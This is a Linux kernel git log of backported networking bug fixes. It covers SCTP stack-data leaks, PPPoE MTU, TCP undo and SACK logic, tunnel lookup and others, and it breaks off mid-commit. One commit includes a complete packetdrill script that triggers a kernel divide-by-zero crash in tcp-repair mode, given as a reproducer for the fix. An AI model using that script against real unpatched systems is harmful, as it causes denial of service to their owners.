sunvnet: clean up objects created in vnet_new() on vnet_exit() [ Upstream commit a4b70a07ed12a71131cab7adce2ce91c71b37060 ] Nothing cleans up the objects created by vnet_new(), they are completely leaked. vnet_exit(), after doing the vio_unregister_driver() to clean up ports, should call a helper function that iterates over vnet_list and cleans up those objects. This includes unregister_netdevice() as well as free_netdev(). Signed-off-by: Sowmini Varadhan Acked-by: Dave Kleikamp Reviewed-by: Karl Volz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 663405aaafcf33d3d4aedf58c7ccd9f5ecd48619 Author: Christoph Schulz Date: Sun Jul 13 00:53:15 2014 +0200 net: pppoe: use correct channel MTU when using Multilink PPP [ Upstream commit a8a3e41c67d24eb12f9ab9680cbb85e24fcd9711 ] The PPP channel MTU is used with Multilink PPP when ppp_mp_explode() (see ppp_generic module) tries to determine how big a fragment might be. According to RFC 1661, the MTU excludes the 2-byte PPP protocol field, see the corresponding comment and code in ppp_mp_explode(): /* * hdrlen includes the 2-byte PPP protocol field, but the * MTU counts only the payload excluding the protocol field. * (RFC1661 Section 2) */ mtu = pch->chan->mtu - (hdrlen - 2); However, the pppoe module *does* include the PPP protocol field in the channel MTU, which is wrong as it causes the PPP payload to be 1-2 bytes too big under certain circumstances (one byte if PPP protocol compression is used, two otherwise), causing the generated Ethernet packets to be dropped. So the pppoe module has to subtract two bytes from the channel MTU. This error only manifests itself when using Multilink PPP, as otherwise the channel MTU is not used anywhere. In the following, I will describe how to reproduce this bug. We configure two pppd instances for multilink PPP over two PPPoE links, say eth2 and eth3, with a MTU of 1492 bytes for each link and a MRRU of 2976 bytes. (This MRRU is computed by adding the two link MTUs and subtracting the MP header twice, which is 4 bytes long.) The necessary pppd statements on both sides are "multilink mtu 1492 mru 1492 mrru 2976". On the client side, we additionally need "plugin rp-pppoe.so eth2" and "plugin rp-pppoe.so eth3", respectively; on the server side, we additionally need to start two pppoe-server instances to be able to establish two PPPoE sessions, one over eth2 and one over eth3. We set the MTU of the PPP network interface to the MRRU (2976) on both sides of the connection in order to make use of the higher bandwidth. (If we didn't do that, IP fragmentation would kick in, which we want to avoid.) Now we send a ICMPv4 echo request with a payload of 2948 bytes from client to server over the PPP link. This results in the following network packet: 2948 (echo payload) + 8 (ICMPv4 header) + 20 (IPv4 header) --------------------- 2976 (PPP payload) These 2976 bytes do not exceed the MTU of the PPP network interface, so the IP packet is not fragmented. Now the multilink PPP code in ppp_mp_explode() prepends one protocol byte (0x21 for IPv4), making the packet one byte bigger than the negotiated MRRU. So this packet would have to be divided in three fragments. But this does not happen as each link MTU is assumed to be two bytes larger. So this packet is diveded into two fragments only, one of size 1489 and one of size 1488. Now we have for that bigger fragment: 1489 (PPP payload) + 4 (MP header) + 2 (PPP protocol field for the MP payload (0x3d)) + 6 (PPPoE header) -------------------------- 1501 (Ethernet payload) This packet exceeds the link MTU and is discarded. If one configures the link MTU on the client side to 1501, one can see the discarded Ethernet frames with tcpdump running on the client. A ping -s 2948 -c 1 192.168.15.254 leads to the smaller fragment that is correctly received on the server side: (tcpdump -vvvne -i eth3 pppoes and ppp proto 0x3d) 52:54:00:ad:87:fd > 52:54:00:79:5c:d0, ethertype PPPoE S (0x8864), length 1514: PPPoE [ses 0x3] MLPPP (0x003d), length 1494: seq 0x000, Flags [end], length 1492 and to the bigger fragment that is not received on the server side: (tcpdump -vvvne -i eth2 pppoes and ppp proto 0x3d) 52:54:00:70:9e:89 > 52:54:00:5d:6f:b0, ethertype PPPoE S (0x8864), length 1515: PPPoE [ses 0x5] MLPPP (0x003d), length 1495: seq 0x000, Flags [begin], length 1493 With the patch below, we correctly obtain three fragments: 52:54:00:ad:87:fd > 52:54:00:79:5c:d0, ethertype PPPoE S (0x8864), length 1514: PPPoE [ses 0x1] MLPPP (0x003d), length 1494: seq 0x000, Flags [begin], length 1492 52:54:00:70:9e:89 > 52:54:00:5d:6f:b0, ethertype PPPoE S (0x8864), length 1514: PPPoE [ses 0x1] MLPPP (0x003d), length 1494: seq 0x000, Flags [none], length 1492 52:54:00:ad:87:fd > 52:54:00:79:5c:d0, ethertype PPPoE S (0x8864), length 27: PPPoE [ses 0x1] MLPPP (0x003d), length 7: seq 0x000, Flags [end], length 5 And the ICMPv4 echo request is successfully received at the server side: IP (tos 0x0, ttl 64, id 21925, offset 0, flags [DF], proto ICMP (1), length 2976) 192.168.222.2 > 192.168.15.254: ICMP echo request, id 30530, seq 0, length 2956 The bug was introduced in commit c9aa6895371b2a257401f59d3393c9f7ac5a8698 ("[PPPOE]: Advertise PPPoE MTU") from the very beginning. This patch applies to 3.10 upwards but the fix can be applied (with minor modifications) to kernels as old as 2.6.32. Signed-off-by: Christoph Schulz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bedf894257511d82f6f5bad3aadaafcc613ee448 Author: Daniel Borkmann Date: Sat Jul 12 20:30:35 2014 +0200 net: sctp: fix information leaks in ulpevent layer [ Upstream commit 8f2e5ae40ec193bc0a0ed99e95315c3eebca84ea ] While working on some other SCTP code, I noticed that some structures shared with user space are leaking uninitialized stack or heap buffer. In particular, struct sctp_sndrcvinfo has a 2 bytes hole between .sinfo_flags and .sinfo_ppid that remains unfilled by us in sctp_ulpevent_read_sndrcvinfo() when putting this into cmsg. But also struct sctp_remote_error contains a 2 bytes hole that we don't fill but place into a skb through skb_copy_expand() via sctp_ulpevent_make_remote_error(). Both structures are defined by the IETF in RFC6458: * Section 5.3.2. SCTP Header Information Structure: The sctp_sndrcvinfo structure is defined below: struct sctp_sndrcvinfo { uint16_t sinfo_stream; uint16_t sinfo_ssn; uint16_t sinfo_flags; <-- 2 bytes hole --> uint32_t sinfo_ppid; uint32_t sinfo_context; uint32_t sinfo_timetolive; uint32_t sinfo_tsn; uint32_t sinfo_cumtsn; sctp_assoc_t sinfo_assoc_id; }; * 6.1.3. SCTP_REMOTE_ERROR: A remote peer may send an Operation Error message to its peer. This message indicates a variety of error conditions on an association. The entire ERROR chunk as it appears on the wire is included in an SCTP_REMOTE_ERROR event. Please refer to the SCTP specification [RFC4960] and any extensions for a list of possible error formats. An SCTP error notification has the following format: struct sctp_remote_error { uint16_t sre_type; uint16_t sre_flags; uint32_t sre_length; uint16_t sre_error; <-- 2 bytes hole --> sctp_assoc_t sre_assoc_id; uint8_t sre_data[]; }; Fix this by setting both to 0 before filling them out. We also have other structures shared between user and kernel space in SCTP that contains holes (e.g. struct sctp_paddrthlds), but we copy that buffer over from user space first and thus don't need to care about it in that cases. While at it, we can also remove lengthy comments copied from the draft, instead, we update the comment with the correct RFC number where one can look it up. Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd8afc50168ef64f53de6bad1fce2a7a34d6be08 Author: Jon Paul Maloy Date: Fri Jul 11 08:45:27 2014 -0400 tipc: clear 'next'-pointer of message fragments before reassembly [ Upstream commit 999417549c16dd0e3a382aa9f6ae61688db03181 ] If the 'next' pointer of the last fragment buffer in a message is not zeroed before reassembly, we risk ending up with a corrupt message, since the reassembly function itself isn't doing this. Currently, when a buffer is retrieved from the deferred queue of the broadcast link, the next pointer is not cleared, with the result as described above. This commit corrects this, and thereby fixes a bug that may occur when long broadcast messages are transmitted across dual interfaces. The bug has been present since 40ba3cdf542a469aaa9083fa041656e59b109b90 ("tipc: message reassembly using fragment chain") This commit should be applied to both net and net-next. Signed-off-by: Jon Maloy Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54d7f0845a0457273e51a016cd0ed7c9e369a995 Author: Suresh Reddy Date: Fri Jul 11 14:03:01 2014 +0530 be2net: set EQ DB clear-intr bit in be_open() [ Upstream commit 4cad9f3b61c7268fa89ab8096e23202300399b5d ] On BE3, if the clear-interrupt bit of the EQ doorbell is not set the first time it is armed, ocassionally we have observed that the EQ doesn't raise anymore interrupts even if it is in armed state. This patch fixes this by setting the clear-interrupt bit when EQs are armed for the first time in be_open(). Signed-off-by: Suresh Reddy Signed-off-by: Sathya Perla Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c6bb8ded21b9de01fdfdebd294d92238e20378b Author: Ben Pfaff Date: Wed Jul 9 10:31:22 2014 -0700 netlink: Fix handling of error from netlink_dump(). [ Upstream commit ac30ef832e6af0505b6f0251a6659adcfa74975e ] netlink_dump() returns a negative errno value on error. Until now, netlink_recvmsg() directly recorded that negative value in sk->sk_err, but that's wrong since sk_err takes positive errno values. (This manifests as userspace receiving a positive return value from the recv() system call, falsely indicating success.) This bug was introduced in the commit that started checking the netlink_dump() return value, commit b44d211 (netlink: handle errors from netlink_dump()). Multithreaded Netlink dumps are one way to trigger this behavior in practice, as described in the commit message for the userspace workaround posted here: http://openvswitch.org/pipermail/dev/2014-June/042339.html This commit also fixes the same bug in netlink_poll(), introduced in commit cd1df525d (netlink: add flow control for memory mapped I/O). Signed-off-by: Ben Pfaff Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcb70a4403ba28a29168c5039a40ac107ae43780 Author: Thomas Fitzsimmons Date: Tue Jul 8 19:44:07 2014 -0400 net: mvneta: Fix big endian issue in mvneta_txq_desc_csum() [ Upstream commit 0a1985879437d14bda8c90d0dae3455c467d7642 ] This commit fixes the command value generated for CSUM calculation when running in big endian mode. The Ethernet protocol ID for IP was being unconditionally byte-swapped in the layer 3 protocol check (with swab16), which caused the mvneta driver to not function correctly in big endian mode. This patch byte-swaps the ID conditionally with htons. Cc: # v3.13+ Signed-off-by: Thomas Fitzsimmons Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a2e3f0c4faa8fff1b9643d081849a1bfa45436d Author: Thomas Petazzoni Date: Tue Jul 8 10:49:43 2014 +0200 net: mvneta: fix operation in 10 Mbit/s mode [ Upstream commit 4d12bc63ab5e48c1d78fa13883cf6fefcea3afb1 ] As reported by Maggie Mae Roxas, the mvneta driver doesn't behave properly in 10 Mbit/s mode. This is due to a misconfiguration of the MVNETA_GMAC_AUTONEG_CONFIG register: bit MVNETA_GMAC_CONFIG_MII_SPEED must be set for a 100 Mbit/s speed, but cleared for a 10 Mbit/s speed, which the driver was not properly doing. This commit adjusts that by setting the MVNETA_GMAC_CONFIG_MII_SPEED bit only in 100 Mbit/s mode, and relying on the fact that all the speed related bits of this register are cleared at the beginning of the mvneta_adjust_link() function. This problem exists since c5aff18204da0 ("net: mvneta: driver for Marvell Armada 370/XP network unit") which is the commit that introduced the mvneta driver in the kernel. Cc: # v3.8+ Fixes: c5aff18204da0 ("net: mvneta: driver for Marvell Armada 370/XP network unit") Reported-by: Maggie Mae Roxas Cc: Maggie Mae Roxas Signed-off-by: Thomas Petazzoni Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b12eaaeb7d24ccd0ed30db52095a536e0d7e424a Author: Andrey Utkin Date: Mon Jul 7 23:22:50 2014 +0300 appletalk: Fix socket referencing in skb [ Upstream commit 36beddc272c111689f3042bf3d10a64d8a805f93 ] Setting just skb->sk without taking its reference and setting a destructor is invalid. However, in the places where this was done, skb is used in a way not requiring skb->sk setting. So dropping the setting of skb->sk. Thanks to Eric Dumazet for correct solution. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=79441 Reported-by: Ed Martin Signed-off-by: Andrey Utkin Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab0387dc40b01866424fdac560e4479fd7752dcf Author: Yuchung Cheng Date: Wed Jul 2 12:07:16 2014 -0700 tcp: fix false undo corner cases [ Upstream commit 6e08d5e3c8236e7484229e46fdf92006e1dd4c49 ] The undo code assumes that, upon entering loss recovery, TCP 1) always retransmit something 2) the retransmission never fails locally (e.g., qdisc drop) so undo_marker is set in tcp_enter_recovery() and undo_retrans is incremented only when tcp_retransmit_skb() is successful. When the assumption is broken because TCP's cwnd is too small to retransmit or the retransmit fails locally. The next (DUP)ACK would incorrectly revert the cwnd and the congestion state in tcp_try_undo_dsack() or tcp_may_undo(). Subsequent (DUP)ACKs may enter the recovery state. The sender repeatedly enter and (incorrectly) exit recovery states if the retransmits continue to fail locally while receiving (DUP)ACKs. The fix is to initialize undo_retrans to -1 and start counting on the first retransmission. Always increment undo_retrans even if the retransmissions fail locally because they couldn't cause DSACKs to undo the cwnd reduction. Signed-off-by: Yuchung Cheng Signed-off-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a47ed80d5a2a8607be06ba65a0549ef3bc94bc06 Author: dingtianhong Date: Wed Jul 2 13:50:48 2014 +0800 igmp: fix the problem when mc leave group [ Upstream commit 52ad353a5344f1f700c5b777175bdfa41d3cd65a ] The problem was triggered by these steps: 1) create socket, bind and then setsockopt for add mc group. mreq.imr_multiaddr.s_addr = inet_addr("255.0.0.37"); mreq.imr_interface.s_addr = inet_addr("192.168.1.2"); setsockopt(sockfd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)); 2) drop the mc group for this socket. mreq.imr_multiaddr.s_addr = inet_addr("255.0.0.37"); mreq.imr_interface.s_addr = inet_addr("0.0.0.0"); setsockopt(sockfd, IPPROTO_IP, IP_DROP_MEMBERSHIP, &mreq, sizeof(mreq)); 3) and then drop the socket, I found the mc group was still used by the dev: netstat -g Interface RefCnt Group --------------- ------ --------------------- eth2 1 255.0.0.37 Normally even though the IP_DROP_MEMBERSHIP return error, the mc group still need to be released for the netdev when drop the socket, but this process was broken when route default is NULL, the reason is that: The ip_mc_leave_group() will choose the in_dev by the imr_interface.s_addr, if input addr is NULL, the default route dev will be chosen, then the ifindex is got from the dev, then polling the inet->mc_list and return -ENODEV, but if the default route dev is NULL, the in_dev and ifIndex is both NULL, when polling the inet->mc_list, the mc group will be released from the mc_list, but the dev didn't dec the refcnt for this mc group, so when dropping the socket, the mc_list is NULL and the dev still keep this group. v1->v2: According Hideaki's suggestion, we should align with IPv6 (RFC3493) and BSDs, so I add the checking for the in_dev before polling the mc_list, make sure when we remove the mc group, dec the refcnt to the real dev which was using the mc address. The problem would never happened again. Signed-off-by: Ding Tianhong Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74aa38eae53c5845fae31be00c83eb8aaba7c31d Author: Bjørn Mork Date: Thu Jul 17 13:33:51 2014 +0200 net: qmi_wwan: add two Sierra Wireless/Netgear devices [ Upstream commit 5343330010a892b76a97fd93ad3c455a4a32a7fb ] Add two device IDs found in an out-of-tree driver downloadable from Netgear. Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 439a2bbc2474eefc9d82124ef6953a85f05d13fa Author: Bernd Wachter Date: Tue Jul 1 22:01:09 2014 +0300 net: qmi_wwan: Add ID for Telewell TW-LTE 4G v2 [ Upstream commit 8dcb4b1526747d8431f9895e153dd478c9d16186 ] There's a new version of the Telewell 4G modem working with, but not recognized by this driver. Signed-off-by: Bernd Wachter Acked-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45a89bda6bd26f4e391459d6d17626b7ab3bddb0 Author: Edward Allcutt Date: Mon Jun 30 16:16:02 2014 +0100 ipv4: icmp: Fix pMTU handling for rare case [ Upstream commit 68b7107b62983f2cff0948292429d5f5999df096 ] Some older router implementations still send Fragmentation Needed errors with the Next-Hop MTU field set to zero. This is explicitly described as an eventuality that hosts must deal with by the standard (RFC 1191) since older standards specified that those bits must be zero. Linux had a generic (for all of IPv4) implementation of the algorithm described in the RFC for searching a list of MTU plateaus for a good value. Commit 46517008e116 ("ipv4: Kill ip_rt_frag_needed().") removed this as part of the changes to remove the routing cache. Subsequently any Fragmentation Needed packet with a zero Next-Hop MTU has been discarded without being passed to the per-protocol handlers or notifying userspace for raw sockets. When there is a router which does not implement RFC 1191 on an MTU limited path then this results in stalled connections since large packets are discarded and the local protocols are not notified so they never attempt to lower the pMTU. One example I have seen is an OpenBSD router terminating IPSec tunnels. It's worth pointing out that this case is distinct from the BSD 4.2 bug which incorrectly calculated the Next-Hop MTU since the commit in question dismissed that as a valid concern. All of the per-protocols handlers implement the simple approach from RFC 1191 of immediately falling back to the minimum value. Although this is sub-optimal it is vastly preferable to connections hanging indefinitely. Remove the Next-Hop MTU != 0 check and allow such packets to follow the normal path. Fixes: 46517008e116 ("ipv4: Kill ip_rt_frag_needed().") Signed-off-by: Edward Allcutt Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c33a88d15d4494d3208fe594e72bcf23d9ffb8dc Author: Christoph Paasch Date: Sat Jun 28 18:26:37 2014 +0200 tcp: Fix divide by zero when pushing during tcp-repair [ Upstream commit 5924f17a8a30c2ae18d034a86ee7581b34accef6 ] When in repair-mode and TCP_RECV_QUEUE is set, we end up calling tcp_push with mss_now being 0. If data is in the send-queue and tcp_set_skb_tso_segs gets called, we crash because it will divide by mss_now: [ 347.151939] divide error: 0000 [#1] SMP [ 347.152907] Modules linked in: [ 347.152907] CPU: 1 PID: 1123 Comm: packetdrill Not tainted 3.16.0-rc2 #4 [ 347.152907] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 [ 347.152907] task: f5b88540 ti: f3c82000 task.ti: f3c82000 [ 347.152907] EIP: 0060:[] EFLAGS: 00210246 CPU: 1 [ 347.152907] EIP is at tcp_set_skb_tso_segs+0x49/0xa0 [ 347.152907] EAX: 00000b67 EBX: f5acd080 ECX: 00000000 EDX: 00000000 [ 347.152907] ESI: f5a28f40 EDI: f3c88f00 EBP: f3c83d10 ESP: f3c83d00 [ 347.152907] DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 [ 347.152907] CR0: 80050033 CR2: 083158b0 CR3: 35146000 CR4: 000006b0 [ 347.152907] Stack: [ 347.152907] c167f9d9 f5acd080 000005b4 00000002 f3c83d20 c16013e6 f3c88f00 f5acd080 [ 347.152907] f3c83da0 c1603b5a f3c83d38 c10a0188 00000000 00000000 f3c83d84 c10acc85 [ 347.152907] c1ad5ec0 00000000 00000000 c1ad679c 010003e0 00000000 00000000 f3c88fc8 [ 347.152907] Call Trace: [ 347.152907] [] ? apic_timer_interrupt+0x2d/0x34 [ 347.152907] [] tcp_init_tso_segs+0x36/0x50 [ 347.152907] [] tcp_write_xmit+0x7a/0xbf0 [ 347.152907] [] ? up+0x28/0x40 [ 347.152907] [] ? console_unlock+0x295/0x480 [ 347.152907] [] ? vprintk_emit+0x1ef/0x4b0 [ 347.152907] [] __tcp_push_pending_frames+0x36/0xd0 [ 347.152907] [] tcp_push+0xf0/0x120 [ 347.152907] [] tcp_sendmsg+0xf1/0xbf0 [ 347.152907] [] ? kmem_cache_free+0xf0/0x120 [ 347.152907] [] ? __sigqueue_free+0x32/0x40 [ 347.152907] [] ? __sigqueue_free+0x32/0x40 [ 347.152907] [] ? do_wp_page+0x3e0/0x850 [ 347.152907] [] inet_sendmsg+0x4a/0xb0 [ 347.152907] [] ? handle_mm_fault+0x709/0xfb0 [ 347.152907] [] sock_aio_write+0xbb/0xd0 [ 347.152907] [] do_sync_write+0x69/0xa0 [ 347.152907] [] vfs_write+0x123/0x160 [ 347.152907] [] SyS_write+0x55/0xb0 [ 347.152907] [] sysenter_do_call+0x12/0x28 This can easily be reproduced with the following packetdrill-script (the "magic" with netem, sk_pacing and limit_output_bytes is done to prevent the kernel from pushing all segments, because hitting the limit without doing this is not so easy with packetdrill): 0 socket(..., SOCK_STREAM, IPPROTO_TCP) = 3 +0 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 +0 bind(3, ..., ...) = 0 +0 listen(3, 1) = 0 +0 < S 0:0(0) win 32792 +0 > S. 0:0(0) ack 1 +0.1 < . 1:1(0) ack 1 win 65000 +0 accept(3, ..., ...) = 4 // This forces that not all segments of the snd-queue will be pushed +0 `tc qdisc add dev tun0 root netem delay 10ms` +0 `sysctl -w net.ipv4.tcp_limit_output_bytes=2` +0 setsockopt(4, SOL_SOCKET, 47, [2], 4) = 0 +0 write(4,...,10000) = 10000 +0 write(4,...,10000) = 10000 // Set tcp-repair stuff, particularly TCP_RECV_QUEUE +0 setsockopt(4, SOL_TCP, 19, [1], 4) = 0 +0 setsockopt(4, SOL_TCP, 20, [1], 4) = 0 // This now will make the write push the remaining segments +0 setsockopt(4, SOL_SOCKET, 47, [20000], 4) = 0 +0 `sysctl -w net.ipv4.tcp_limit_output_bytes=130000` // Now we will crash +0 write(4,...,1000) = 1000 This happens since ec3423257508 (tcp: fix retransmission in repair mode). Prior to that, the call to tcp_push was prevented by a check for tp->repair. The patch fixes it, by adding the new goto-label out_nopush. When exiting tcp_sendmsg and a push is not required, which is the case for tp->repair, we go to this label. When repairing and calling send() with TCP_RECV_QUEUE, the data is actually put in the receive-queue. So, no push is required because no data has been added to the send-queue. Cc: Andrew Vagin Cc: Pavel Emelyanov Fixes: ec3423257508 (tcp: fix retransmission in repair mode) Signed-off-by: Christoph Paasch Acked-by: Andrew Vagin Acked-by: Pavel Emelyanov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42c8cafe6fbc0ea9ad5fd83fe884219f43a0d3cc Author: Eric Dumazet Date: Thu Jun 26 00:44:02 2014 -0700 bnx2x: fix possible panic under memory stress [ Upstream commit 07b0f00964def8af9321cfd6c4a7e84f6362f728 ] While it is legal to kfree(NULL), it is not wise to use : put_page(virt_to_head_page(NULL)) BUG: unable to handle kernel paging request at ffffeba400000000 IP: [] virt_to_head_page+0x36/0x44 [bnx2x] Reported-by: Michel Lespinasse Signed-off-by: Eric Dumazet Cc: Ariel Elior Fixes: d46d132cc021 ("bnx2x: use netdev_alloc_frag()") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1fc38a99aa99bba76bd195abfde60e9c8c1082f Author: Eric Dumazet Date: Wed Jul 2 02:39:38 2014 -0700 net: fix sparse warning in sk_dst_set() [ Upstream commit 5925a0555bdaf0b396a84318cbc21ba085f6c0d3 ] sk_dst_cache has __rcu annotation, so we need a cast to avoid following sparse error : include/net/sock.h:1774:19: warning: incorrect type in initializer (different address spaces) include/net/sock.h:1774:19: expected struct dst_entry [noderef] *__ret include/net/sock.h:1774:19: got struct dst_entry *dst Signed-off-by: Eric Dumazet Reported-by: kbuild test robot Fixes: 7f502361531e ("ipv4: irq safe sk_dst_[re]set() and ipv4_sk_update_pmtu() fix") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d34b811640b3682ad286ce8230be73042ac3c6f5 Author: Eric Dumazet Date: Mon Jun 30 01:26:23 2014 -0700 ipv4: irq safe sk_dst_[re]set() and ipv4_sk_update_pmtu() fix [ Upstream commit 7f502361531e9eecb396cf99bdc9e9a59f7ebd7f ] We have two different ways to handle changes to sk->sk_dst First way (used by TCP) assumes socket lock is owned by caller, and use no extra lock : __sk_dst_set() & __sk_dst_reset() Another way (used by UDP) uses sk_dst_lock because socket lock is not always taken. Note that sk_dst_lock is not softirq safe. These ways are not inter changeable for a given socket type. ipv4_sk_update_pmtu(), added in linux-3.8, added a race, as it used the socket lock as synchronization, but users might be UDP sockets. Instead of converting sk_dst_lock to a softirq safe version, use xchg() as we did for sk_rx_dst in commit e47eb5dfb296b ("udp: ipv4: do not use sk_dst_lock from softirq context") In a follow up patch, we probably can remove sk_dst_lock, as it is only used in IPv6. Signed-off-by: Eric Dumazet Cc: Steffen Klassert Fixes: 9cb3a50c5f63e ("ipv4: Invalidate the socket cached route on pmtu events if possible") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 509afaff07ff13fa4e70e7099dae2e407c26d840 Author: Eric Dumazet Date: Tue Jun 24 10:05:11 2014 -0700 ipv4: fix dst race in sk_dst_get() [ Upstream commit f88649721268999bdff09777847080a52004f691 ] When IP route cache had been removed in linux-3.6, we broke assumption that dst entries were all freed after rcu grace period. DST_NOCACHE dst were supposed to be freed from dst_release(). But it appears we want to keep such dst around, either in UDP sockets or tunnels. In sk_dst_get() we need to make sure dst refcount is not 0 before incrementing it, or else we might end up freeing a dst twice. DST_NOCACHE set on a dst does not mean this dst can not be attached to a socket or a tunnel. Then, before actual freeing, we need to observe a rcu grace period to make sure all other cpus can catch the fact the dst is no longer usable. Signed-off-by: Eric Dumazet Reported-by: Dormando Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d91d712ae8080d8f897eeb39201660177bcf3fb5 Author: Li RongQing Date: Wed Jun 18 13:46:02 2014 +0800 8021q: fix a potential memory leak [ Upstream commit 916c1689a09bc1ca81f2d7a34876f8d35aadd11b ] skb_cow called in vlan_reorder_header does not free the skb when it failed, and vlan_reorder_header returns NULL to reset original skb when it is called in vlan_untag, lead to a memory leak. Signed-off-by: Li RongQing Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7f1f468f3880e00346406e8c671904760dc7b64 Author: Daniel Borkmann Date: Wed Jun 18 23:46:31 2014 +0200 net: sctp: check proc_dointvec result in proc_sctp_do_auth [ Upstream commit 24599e61b7552673dd85971cf5a35369cd8c119e ] When writing to the sysctl field net.sctp.auth_enable, it can well be that the user buffer we handed over to proc_dointvec() via proc_sctp_do_auth() handler contains something other than integers. In that case, we would set an uninitialized 4-byte value from the stack to net->sctp.auth_enable that can be leaked back when reading the sysctl variable, and it can unintentionally turn auth_enable on/off based on the stack content since auth_enable is interpreted as a boolean. Fix it up by making sure proc_dointvec() returned sucessfully. Fixes: b14878ccb7fa ("net: sctp: cache auth_enable per endpoint") Reported-by: Florian Westphal Signed-off-by: Daniel Borkmann Acked-by: Neil Horman Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf1d2ab8698772d6644f1dfde1fce63f273c6226 Author: Neal Cardwell Date: Wed Jun 18 21:15:03 2014 -0400 tcp: fix tcp_match_skb_to_sack() for unaligned SACK at end of an skb [ Upstream commit 2cd0d743b05e87445c54ca124a9916f22f16742e ] If there is an MSS change (or misbehaving receiver) that causes a SACK to arrive that covers the end of an skb but is less than one MSS, then tcp_match_skb_to_sack() was rounding up pkt_len to the full length of the skb ("Round if necessary..."), then chopping all bytes off the skb and creating a zero-byte skb in the write queue. This was visible now because the recently simplified TLP logic in bef1909ee3ed1c ("tcp: fixing TLP's FIN recovery") could find that 0-byte skb at the end of the write queue, and now that we do not check that skb's length we could send it as a TLP probe. Consider the following example scenario: mss: 1000 skb: seq: 0 end_seq: 4000 len: 4000 SACK: start_seq: 3999 end_seq: 4000 The tcp_match_skb_to_sack() code will compute: in_sack = false pkt_len = start_seq - TCP_SKB_CB(skb)->seq = 3999 - 0 = 3999 new_len = (pkt_len / mss) * mss = (3999/1000)*1000 = 3000 new_len += mss = 4000 Previously we would find the new_len > skb->len check failing, so we would fall through and set pkt_len = new_len = 4000 and chop off pkt_len of 4000 from the 4000-byte skb, leaving a 0-byte segment afterward in the write queue. With this new commit, we notice that the new new_len >= skb->len check succeeds, so that we return without trying to fragment. Fixes: adb92db857ee ("tcp: Make SACK code to split only at mss boundaries") Reported-by: Eric Dumazet Signed-off-by: Neal Cardwell Cc: Eric Dumazet Cc: Yuchung Cheng Cc: Ilpo Jarvinen Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4fb5f6a61bca4d11e476101342ca5859d18a47ba Author: Dmitry Popov Date: Sat Jul 5 02:26:37 2014 +0400 ip_tunnel: fix ip_tunnel_lookup [ Upstream commit e0056593b61253f1a8a9941dacda22e73b963cdc ] This patch fixes 3 similar bugs where incoming packets might be routed into wrong non-wildcard tunnels: 1) Consider the following setup: ip address add 1.1.1.1/24 dev eth0 ip address add 1.1.1.2/24 dev eth0 ip tunnel add ipip1 remote 2.2.2.2 local 1.1.1.1 mode ipip dev eth0 ip link set ipip1 up Incoming ipip packets from 2.2.2.2 were routed into ipip1 even if it has dst = 1.1.1.2. Moreover even if there was wildcard tunnel like ip tunnel add ipip0 remote 2.2.2.2 local any mode ipip dev eth0 but it was created before explicit one (with local 1.1.1.1), incoming ipip packets with src = 2.2.2.2 and dst = 1.1.1.2 were still routed into ipip1. Same issue existed with all tunnels that use ip_tunnel_lookup (gre, vti) 2) ip address add 1.1.1.1/24 dev eth0 ip tunnel add ipip1 remote 2.2.146.85 local 1.1.1.1 mode ipip dev eth0 ip link set ipip1 up Incoming ipip packets with dst = 1.1.1.1 were routed into ipip1, no matter what src address is. Any remote ip address which has ip_tunnel_hash = 0 raised this issue, 2.2.146.85 is just an example, there are more than 4 million of them. And again, wildcard tunnel like ip tunnel add ipip0 remote any local 1.1.1.1 mode ipip dev eth0 wouldn't be ever matched if it was created before explicit tunnel like above. Gre & vti tunnels had the same issue. 3) ip address add 1.1.1.1/24 dev eth0 ip tunnel add gre1 remote 2.2.146.84 local 1.1.1.1 key 1 mode gre dev eth0 ip link set gre1 up Any incoming gre packet with key = 1 were routed into gre1, no matter what src/dst addresses are. Any remote ip address which has ip_tunnel_hash = 0 raised the issue, 2.2.146.84 is just an example, there are more than 4 million of them. Wildcard 